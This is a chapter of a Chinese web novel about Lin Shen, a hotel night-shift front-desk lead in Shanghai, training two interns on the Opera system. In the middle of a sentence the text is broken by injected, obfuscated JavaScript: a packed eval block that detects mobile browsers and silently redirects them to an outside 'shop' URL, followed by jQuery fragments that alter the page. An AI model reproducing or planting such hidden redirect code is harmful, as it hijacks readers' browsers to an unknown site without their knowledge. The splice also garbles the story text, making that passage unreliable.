林深第一次真正带实习生，是在一个不算忙的夜班。晚上九点刚交完班，TOM就从办公室里带出来两个小孩，一个男生，一个女生，身上穿着学校统一发的黑色西装，袖口有点长，胸牌夹得歪歪扭扭。两个人站在前台旁边，表情都很认真，认真到有点紧张。TOM说。
“这两个以后跟你夜班。”
林深看着他们，两个实习生也看着她。空气安静了两秒，TOM又补了一句。
“林主管。”
林深差点没反应过来。她回头看了一眼，确定旁边没有别人，才意识到这三个字是在叫自己。Jason站在旁边，正在整理房卡套，听见这句，慢慢抬头看了她一眼。
“哟。”
林深看他。
“你闭嘴。”
Jason低头继续整理房卡套，嘴角已经压不住了。TOM交代完就走了，走之前拍了拍林深肩膀。
“辛苦。”
林深看着面前两个实习生，忽然觉得这句辛苦不是客气，是真的辛苦。男生先开口。
“林主管好。”
女生也跟着。
“林主管好。”
林深听得头皮有点麻。
“叫林深就行。”
男生立刻点头。
“好的，林主管。”
Jason终于转过身，假装去后面拿水。林深深吸一口气。
“先看系统。”
两个人立刻凑过来。Opera界面开着，密密麻麻全是英文，两个实习生明显看不懂，但又不敢说看不懂，只能努力装作自己正在理解。林深指着屏幕。
“这个是今天到店。”
男生点头。
“这个是预订单。”
女生点头。
“这个是房态。”
两个人继续点头，点得很诚恳。林深看着他们，忽然想起自己刚来的时候。那时候她也这样，看着满屏英文，觉得每个按钮都像陷阱。Jason在旁边看热闹，Helen偶尔过来丢一句“这个不能点”，她问为什么，Helen说“点了你就知道了”。后来她真的点过，也真的知道了。
林深收回思绪。
“来，先做一个简单的。模拟入住。”
男生立刻站直。
“好的。”
林深让他坐到电脑前。
“先查预订。”
男生看着屏幕。
“怎么查？”
“点这里。”
“哪个？”
“这个。”
男生点了一下，界面弹出来。他愣住。
“然后呢？”
“输姓。”
“输中文还是英文？”
“看预订单。”
“预订单在哪里？”
林深沉默了一秒。
“刚才那个界面。”
男生也沉默了。女生小声说。
“是不是返回？”
林深点头。
“对。”
男生小心翼翼点返回，返回错了，界面直接回到主页面。三个人一起安静。Jason端着水杯从后面出来，看了一眼屏幕。
“死了？”
林深说。
“没死。”
Jason点点头。
“那就是半死。”
男生更紧张了。
“我是不是点错了？”
林深说。
“没事，重新来。”
Jason靠在旁边。
“Opera的精髓就是这样。”
女生抬头。
“什么？”
Jason特别认真。
“你永远不知道自己为什么进去，也不知道自己为什么出来。”
林深看他。
“你能不能不要吓他们？”
Jason喝了口水。
“我在传授经验。”
重新来以后，男生终于查到了预订。林深说。
“现在看担保方式。”
男生盯着屏幕。
“哪个是担保？”
“Guarantee。”
男生低头拿出手机，打开翻译软件。几秒后，他抬头。
“保证。”
林深说。
“这里理解成担保。”
“哦。”
他认真记下来。女生在旁边问。
“那这个是什么意思？”
林深看了一眼。
“Market。”
女生低头翻译。
“市场。”
林深。
“这里不是市场。”
女生抬头。
“那是什么？”
“客源分类。”
女生愣住。
“那它为什么不写客源分类？”
林深看着她。这个问题她以前也想过。Jason在旁边接了一句。
“因为它不想让你看懂。”
女生愣了愣，男生也愣了愣，然后两个人同时点头，像听懂了。
凌晨十一点半，大堂开始忙了一阵。几个Walk-in，两个续住，一个客人说房卡打不开。林深带着两个实习生一边办入住，一边解释流程。
“身份证。”
“押金。”
“早餐。”
“电梯右转。”
“这个要签字。”
“这个别给客人。”
“这个给。”
“不要把早餐券发成停车券。”
男生立刻点头。
“好的。”
女生也点头。
“好的。”
十五分钟以后，女生把停车券拿了出来。林深看着她，女生看着林深，然后默默放回去，重新拿早餐券。Jason站在旁边，低头憋笑。林深没说话。她忽然有点理解以前Helen为什么总是不说话——有时候不是不想说，是说了也没用。
凌晨一点以后，大堂安静下来。两个实习生站了一晚上，明显有点困，但又不敢坐。林深把椅子推过去。
“坐吧。”
男生小声问。
“可以坐吗？”
“没人就可以。”
女生坐下以后长长松了一口气。
“林主管，你们夜班一直这样吗？”
“哪样？”
“就是一会儿忙死，一会儿没人。”
“嗯。”
“那没人可以睡觉吗？”
林深看她。女生立刻坐直。
“我开玩笑的。”
Jason在旁边头都没抬。
“她不是。”
女生脸一下红了。林深笑了一下。
“不能睡。可以喝水，可以坐，可以看交班本。”
男生问。
“可以看手机吗？”
林深想了想。
“别让我看见。”
Jason抬头。
“你学坏了。”
林深说。
“跟你学的。”
Jason很满意。
“那说明我带得好。”
凌晨两点半，林深让他们练习排房。这次轮到女生操作，她先点错一次，再点错一次，第三次终于进入正确页面。林深站在旁边看着。
“这一步先不要急着保存。”
女生手已经悬在保存键上。
“为什么？”
“因为你还没看房型。”
女生立刻把手收回来。
“哦。”
“先看房型，再看房态，再看备注。”
“备注在哪里？”
“这里。”
“这里为什么藏这么里面？”
林深沉默。因为她也不知道。Opera就是这样，一个最常用的东西偏偏要藏在一个最不像入口的地方，一个最危险的按钮偏偏放在最顺手的位置。
“记住就行。”
女生点头。过了几秒，又问。
“林主管，为什么要这样？”
林深脱口而出。
“别问，点。”
话说出口，她自己先愣了一下。Jason从旁边慢慢抬头，他看着她，表情非常欣慰。
“可以。”
林深看他。
“可以什么？”
“像老人了。”
林深说。
“你再说一遍。”
Jason立刻低头。
“没什么。”
女生不明所以，也跟着笑。男生更不明所以，也笑了。前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779702|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
台几个人莫名其妙笑成一团。
凌晨四点，大堂空得只剩空调声。两个实习生已经困得眼睛发直，林深让他们去后面喝水，自己站在前台看房态。手机放在旁边，屏幕亮了一下，不是宋青瓷，是夏禾。
“主管第一天怎么样？”
林深看着那行字，回。
“我现在是英语老师。”
夏禾。
“？”
林深。
“还兼职Opera导游。”
夏禾。
“听起来很有前途。”
林深笑了。想了想，又补了一句。
“酒店确实没什么前途。”
夏禾回得很快。
“谁说的？”
林深盯着屏幕看了两秒。
“一个很有前途的人。”
夏禾。
“那他给你安排工作吗？”
林深笑了一下，没有回。她把手机放下，继续看系统。
早上七点多，两个实习生终于熬到快下班。男生已经从一开始的紧张，变成了一种失去灵魂的平静。女生拿着小本子，里面记满了各种乱七八糟的词——Arrival，到店；Departure，离店；Guarantee，担保；Market，不是市场；Save，不一定能随便点。女生低头看了一遍，认真问。
“林主管，那明天还要练吗？”
林深说。
“要。”
女生表情一垮。男生小声说。
“我感觉我毕业不了。”
Jason刚好经过。
“你现在才发现？”
男生沉默，女生忍不住笑。
九点交班的时候，TOM出来看了一眼。
“怎么样？”
林深说。
“还活着。”
TOM笑了。
“他们呢？”
林深看向两个实习生。男生和女生一起站直。
“还活着。”
TOM满意地点头。
“那就行。”
下班的时候，两个实习生站在员工通道口，特别认真地跟林深说再见。
“林主管明天见。”
林深本来想纠正他们不要叫主管，最后还是算了。她摆摆手。
“明天见。”
走出酒店的时候，上海早上的太阳已经升起来。林深站在门口，忽然觉得很奇怪。她好像也没有比他们厉害多少，只是多熬了几个月夜班，多点错过几次系统，也多救回来几次订单。可现在，她已经站在前面了。Jason从后面出来。
“走不走？”
林深回头。
“你不下班？”
“下。”
“那你刚才在里面磨蹭什么？”
Jason晃了晃手里的早餐袋。
“买了个包子。”
林深看他。
“你什么时候买的？”
“刚才。”
“你上班时间买包子？”
Jason很坦然。
“主管，别这么快进入角色。”
林深被他气笑了。两个人一起往地铁站走。路上，Jason忽然说。
“挺像的。”
“什么？”
“你刚才那句。”
“哪句？”
“别问，点。”
林深沉默两秒。
“像谁？”
Jason咬了一口包子。
“像Helen。”
林深没说话。过了一会儿，她笑了。
“我完了。”
Jason点头。
“是的，你开始像她了。”
林深看了他一眼。
“那我辞职。”
Jason说。
“来不及了。”
早高峰的人流从四面八方涌过来。林深跟着人群往下走，手机在口袋里震了一下。她没有立刻拿出来看。电梯缓慢下降，灯光一层一层落在她脸上。她忽然觉得，很多事情真的不是一下变的，不是哪一天突然成为主管，也不是哪一天突然变成前辈。只是有一天，有人站在你旁边，小心翼翼地问你这个按钮能不能点，你顺口说——别问，点。然后才发现，原来自己已经走到这里了。